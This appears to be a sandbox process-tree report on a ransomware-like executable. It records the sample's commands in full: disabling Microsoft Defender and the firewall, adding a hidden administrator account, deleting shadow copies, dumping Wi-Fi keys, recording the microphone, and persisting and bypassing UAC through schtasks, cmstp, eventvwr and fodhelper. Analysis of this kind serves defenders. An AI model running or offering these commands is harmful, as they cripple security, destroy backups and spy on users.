        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7832
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:11216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:10600
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:10360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:11716
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:3336
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145055719925.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15084
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14520
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:15944
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:15164
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:15640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:8300
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:17128
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:3152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6184
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:5372
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9520
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9256
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9540
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:10932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144888340568.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14240
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12436
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:12476
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:14868
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:5612
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:16884
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:15440
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:14020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8060
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:9136
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7464
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:4332
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:4988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144826601877.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10660
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12836
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:13880
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14656
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:15040
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:3288
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:13648
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:8884
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5244
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6168
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7348
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7728
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:9192
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144734467231.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11488
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12092
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:13192
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:3396
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:13772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:15640
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:14672
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:15624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:2836
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6544
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:7140
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:7124
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:3528
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7780
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144627393603.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9432
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11080
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:6268
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:11644
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:10708
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:12272
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:13172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4276
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:368
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6428
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289144627393603.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9264
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9884
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:11680
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:13712
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:12168

C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
1⤵
PID:2496
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5248
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8c91e20d-621d-44fd-a4f1-6d84fa973750.inf
  2⤵
  PID:5360
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:2460
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:5724
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:5088
- - C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
    3⤵
    PID:3028
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3052
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7e570538-32a0-462f-b46d-2470b537d65e.inf
      4⤵
      PID:6040
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1840
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4788
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:5404
    - - C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        5⤵
        
        PID:6580
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6844
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\60d89d86-dc53-4f08-bf77-99bead026919.inf
        6⤵
        
        PID:3880
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6292
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:504
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:4924
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        7⤵
        
        PID:7480
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7364
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d76583fa-57c7-46f0-8c44-1af872b94dd8.inf
        8⤵
        
        PID:4328
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:8044
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:4084
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7076
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        9⤵
        
        PID:8700
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9032
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\58286f06-8311-468c-84ea-435828d784c5.inf
        10⤵
        
        PID:9176
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8224
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:3644
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        11⤵
        
        PID:9660
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7904
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\947066d2-ef11-4fd3-b16f-8722e1f1eab1.inf
        12⤵
        
        PID:9340
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:8320
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8684
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:9184
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        13⤵
        
        PID:7176
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12852
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f70032ea-9f34-431f-a5c0-3baeb471920e.inf
        14⤵
        
        PID:10728
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:264
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:5892
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:12792
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        15⤵
        
        PID:8652
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14816
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d1480349-f28d-49e9-80e5-ef3463a1689c.inf
        16⤵
        
        PID:4068
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:14520
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:11328
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:15648
        
        C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe"
        17⤵
        
        PID:12444
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv1.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7864
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5c50b298-ec57-4a3c-a53b-bcfba008ceee.inf
        18⤵
        
        PID:16152
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:14448
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:13248
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:13796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6572
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:15496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6768
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:17100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:17216
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:4624
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:15576
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:11688
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10644
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:13704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:14876
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:4088
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:15212
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:15524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639289145358650839.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13200
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16352
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:10676
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:8376
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:14744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:8300
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:12196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8964
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:11240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:10872
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:6568
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:11572
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:12712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
